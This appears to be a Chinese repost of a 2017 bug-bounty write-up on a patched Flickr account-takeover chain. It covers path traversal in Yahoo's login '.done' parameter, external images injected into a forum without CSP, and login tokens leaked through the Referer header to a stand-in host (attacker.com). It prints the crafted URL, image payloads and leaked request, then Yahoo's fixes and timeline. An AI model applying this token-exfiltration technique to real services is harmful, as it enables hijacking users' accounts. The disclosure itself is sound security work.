价值7k美刀的Flickr网站漏洞是怎么样的?

本文讲的是价值7k美刀的Flickr网站漏洞是怎么样的?Flickr是雅虎旗下图片分享网站,Reizelman发现该网站存在三个漏洞,三个漏洞相互配合使用,可以接管他人Flickr帐户。

Flickr.com登录流程概述    

Reizelman发现每次用户登录Flickr.com网站时,都会被重定向到login.yahoo.com域用于身份验证。    

https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=H6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=JvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done =https://www.flickr.com/signin/yahoo/?redir=https://www.flickr.com/null  

以上网址是Yahoo帐户登录页面,用户被提示输入他的账户密码。输入账户密码并单击登录后,如果账户密码有效,则将其重定向到以下Flickr url:

  https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.data={first-token-value}&.ys={second-token-value }

Reizelman通过观察,如果用户已经登录到Yahoo,再点击登录链接:

https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=H6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=JvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done =https://www.flickr.com/signin/yahoo/?redir=https://www.flickr.com/ 

验证的流程发生在后台,用户不需要在Yahoo域输入他的账户密码,即可完成flickr网站登录认证。 

这种的验证方式可能引发其他用户的账户被黑客接管,因为用户只需点击单个链接(如在某些OAuth实现中)来进行身份验证,这样他就可以进行身份验证。熟悉了登录的流程,进行寻找是否有会被他人账户被黑客接管的风险。 

通过以上的url我发现,我可以控制.done这个参数,该参数控制了登录token的发送位置,看起来雅虎只验证https://www.flickr.com/signin/yahoo/这种开头的域,但是我们仍然可以附加../所以如果我们将../../test附加到.done参数 .ys及.data的Token将被发送到https://www.flickr.com/test页面。 

这给了我一个引导,假如我在ww.flickr.com找到一个重定向,我就可以把Token发送到我控制的服务器,但是无法在www.flickr.com主域找到一个重定向漏洞,所以我寻找其他的办法。

经过一番查找,我找到了这个页面:https://www.flickr.com/html.gne?tighten=0&type=comment,可以在Flickr评论页面中插入图片。我觉得也许可以在评论插入一个外链图片,Toeken将通过referer字段发送到我控制的机器上,我发表了一个评论插入了图片。

      /img src=“https://attacker.com/someimage.jpg”/

该图像确实插入在评论中了,但是src值成如下连接:

https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&sig=FGQiNHDOtEj7LQDBbYBnwA-~C

这实际是雅虎的代理,把用户上传图片,自己保存,通过代理的方式来加载显示,不去请求外部的服务器。但是,如果我使用一些技巧,我可以操纵Flickr图像处理逻辑。发布了以下评论:

  /img src=“//www.attacker.com/someimage.jpg”/

该注释未被代理操作,并且src保持原样,按理说图片会显示在评论中,但是,有遇到一个问题了,网站使用了Content-Security-Policy(CSP),img-src属性定义了,只能从以下的网站加载图片。因为我们插入图片的网址不是白名单内的,是无法加载的。

Content-Security-Policy:img-src data: blob: 
https://*.flickr.com 
https://*.flickr.net 
http://*.flickr.net 
https://*.staticflickr.com 
http://*.staticflickr.com 
https://*.yimg.com 
https://*.yahoo.com 
https://*.cedexis.com 
https://*.cedexis-test.com 
https://*.cedexis-radar.net 
https://sb.scorecardresearch.com 
https://image.maps.api.here.com 
https://csync.yahooapis.com 
https://*.paypal.com 
https://*.pinterest.com 
http://*.static-alpha.flickr.com 
https://geo-um.btrll.com 
https://connect.facebook.net 
https://*.facebook.com 
https://bs.serving-sys.com 
https://*.adserver.yahoo.com 
https://*.maps.api.here.com 
https://*.maps.cit.api.here.com 
https://*.ads.yahoo.com 
https://secure.footprint.net

知道这一点后,我尝试在其他页面寻找可评论的地方,过了一段时间,找到了一个论坛页面,www.flickr.com/help/forum/en-us/。这个页面支持HTML代码插入功能的评论,更爽的是https://www.flickr.com/help/forum/*这个网站都没用使用CSP。

所以我在论坛发布了以下评论:
 / img src =“ /  / www.attacker.com/someimage.jpg”/

一个外部的图片被插入到这里:

https://www.flickr.com/help/forum/en-us/72157668446997150/page14/

所以我现在要做的就是构造最终的url,如下:

https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=cLI6NPLejY6&.scrumb2=GszxN7PzUWX&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done=https://www.flickr.com/signin/yahoo/../ ../help/forum/en-us/72157668446997150/page14/

当用户点击链接时他被重定向到https://www.flickr.com/help/forum/en-us/72157668446997150/page14?data={some-token}&.ys={second -token},在这个请求中,他向浏览器发出来了如下的请求。

GET https://www.attacker.com/someimage.jpg HTTP/1.1
  Host: www.attacker.com
  Connection: keep-alive
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87    Safari/537.36
  Accept: image/webp,image/*,*/*;q=0.8
  Referer: https://www.flickr.com/help/forum/en-us/72157668446997150/page14/?.data={some-token}&.ys={second-token} 
  Accept-Encoding: gzip, deflate, sdch, br
  Accept-Language: he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.

可以看到Referer字段的含有.data={some-token}&.ys={second-token},将要发送到指定的网址,而这个网站是我们控制的,可以拿到Rerferer信息。

攻击者通过referer拿到token之后,构造攻击url,如下

https://www.flickr.com/signin/yahoo/?.data={copied from refferer}&。ys = {replied referer

即可登录到受害者的账户。

修复

雅虎通过以下的办法来解决这个漏洞。

1. login.yahoo.com端点上的.done参数仅允许https://www.flickr.com/signin/yahoo/作为有效值。

2.使用“/  / ”的插入的图片也是固定的。

3.现在CSP应用于Flickr论坛。

修复时间线

2017年4月2日 –  通过Hackerone的初步报告

2017年4月3日 –  报告举报

2017年4月10日 – 报告已解决

2017年4月21日 – 7K $奖赏奖励




原文发布时间为:2017年5月4日
本文作者:愣娃
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
上一篇:IIS上部署MVC网站,打开后ExtensionlessUrlHandler-Integrated-4.0解决办法


下一篇:Java的类/方法/字段注释详解